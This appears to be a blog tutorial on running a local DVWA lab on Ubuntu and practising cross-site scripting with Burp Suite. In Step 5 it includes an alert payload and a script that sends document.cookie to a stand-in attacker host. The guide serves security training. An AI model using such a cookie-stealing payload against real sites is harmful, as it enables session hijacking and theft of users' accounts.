XSS Attack Simulation: Ubuntu Guide

🔧 Step 1: Set Up Your Local Lab on Ubuntu

1.1 Install Required Packages

Open your terminal and run:

sudo apt update
sudo apt install apache2 mysql-server php php-mysqli git unzip

1.2 Start Apache and MySQL Services

sudo systemctl start apache2
sudo systemctl start mysql
sudo systemctl enable apache2
sudo systemctl enable mysql

📦 Step 2: Download and Configure DVWA

2.1 Clone DVWA Repository

/var/www/html
sudo git clone https://github.com/digininja/DVWA.git
sudo chown -R www-data:www-data DVWA

2.2 Configure Database

sudo mysql

Inside MySQL shell:

CREATE DATABASE dvwa;
CREATE USER 'dvwauser'@'localhost' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwauser'@'localhost';
FLUSH PRIVILEGES;
EXIT;

2.3 Edit DVWA Config

cd /var/www/html/DVWA/config
sudo cp config.inc.php.dist config.inc.php
sudo nano config.inc.php

Modify these lines:

$_DVWA['db_user'] = 'dvwauser';
$_DVWA['db_password'] = 'password';

2.4 Set Permissions

sudo chmod -R 755 /var/www/html/DVWA/hackable/uploads/

🌍 Step 3: Set Up and Launch DVWA in Browser

Open browser and go to: http://localhost/DVWA/setup.php
Click "Create / Reset Database"
Log in:
- Username: admin
- Password: password (default)
Go to DVWA Security tab, set security level to Low

🛡️ Step 4: Install and Configure Burp Suite

4.1 Install Burp Suite Community Edition

Download from: https://portswigger.net/burp/communitydownload
Give execution permission:

chmod +x burpsuite_community_linux.sh
./burpsuite_community_linux.sh

4.2 Configure Firefox Proxy

Open Firefox → Settings → Network Settings
Set Manual Proxy:
- HTTP Proxy: 127.0.0.1
- Port: 8080
- Check: "Use this proxy for all protocols"

4.3 Install Burp CA Certificate in Firefox

In Firefox, visit: http://burp
Download the CA certificate
Go to Settings → Certificates → Authorities → Import and trust the certificate

⚔️ Step 5: Perform XSS Attack in DVWA

5.1 Go to DVWA → Click “XSS (Stored)” or “XSS (Reflected)”

5.2 Inject Payload

In input field:

<script>alert('XSS Works!');</script>

Submit → Alert box should appear

Try advanced:

<script>document.location='http://attacker.com?cookie='+document.cookie</script>

💡 For simulation only. Replace with Burp Collaborator URL or a dummy address.

🔍 Step 6: Use Burp Suite to Intercept and Modify Request

Go to Proxy > Intercept in Burp → Ensure “Intercept is ON”
Submit the form again in DVWA
Request will be captured → Click "Send to Repeater"
Modify payload in Repeater → Re-send → Observe changes

🧪 Step 7: Analyze Output

Use Firefox Dev Tools (F12) → Console → document.cookie
Observe the execution and any captured data
Take screenshots of:
- Input form
- Alert box
- Burp Repeater
- Console output

⚠️ Ethical Note

Only test on your local Ubuntu/DVWA installation.
Never test XSS on live websites or without written permission.

✅ STEP-BY-STEP XSS ATTACK SIMULATION (Ubuntu Version)

Comments

More from this blog

Build Your Own Private ChatGPT: Secure AI API on Oracle Free Tier with Ollama, Nginx & Cloudflare

Complete Guide: Running Production Services on Oracle Cloud with Systemd and Cloudflare Tunnel

From Localhost to Global: Expose Your Development Server to the Internet with Cloudflare Tunnel

NestJS JWT Authentication – End-to-End Production Guide

Module 2: Compute in the Cloud

🔧 Step 1: Set Up Your Local Lab on Ubuntu

1.1 Install Required Packages

1.2 Start Apache and MySQL Services

📦 Step 2: Download and Configure DVWA

2.1 Clone DVWA Repository

2.2 Configure Database

2.3 Edit DVWA Config

2.4 Set Permissions

🌍 Step 3: Set Up and Launch DVWA in Browser

🛡️ Step 4: Install and Configure Burp Suite

4.1 Install Burp Suite Community Edition

4.2 Configure Firefox Proxy

4.3 Install Burp CA Certificate in Firefox

⚔️ Step 5: Perform XSS Attack in DVWA

5.1 Go to DVWA → Click “XSS (Stored)” or “XSS (Reflected)”

5.2 Inject Payload

🔍 Step 6: Use Burp Suite to Intercept and Modify Request

🧪 Step 7: Analyze Output

⚠️ Ethical Note

Command Palette

Comments

More from this blog

🔧 Step 1: Set Up Your Local Lab on Ubuntu

1.1 Install Required Packages

1.2 Start Apache and MySQL Services

📦 Step 2: Download and Configure DVWA

2.1 Clone DVWA Repository

2.2 Configure Database

2.3 Edit DVWA Config

2.4 Set Permissions

🌍 Step 3: Set Up and Launch DVWA in Browser

🛡️ Step 4: Install and Configure Burp Suite

4.1 Install Burp Suite Community Edition

4.2 Configure Firefox Proxy

4.3 Install Burp CA Certificate in Firefox

⚔️ Step 5: Perform XSS Attack in DVWA

5.1 Go to DVWA → Click “XSS (Stored)” or “XSS (Reflected)”

5.2 Inject Payload

🔍 Step 6: Use Burp Suite to Intercept and Modify Request

🧪 Step 7: Analyze Output

⚠️ Ethical Note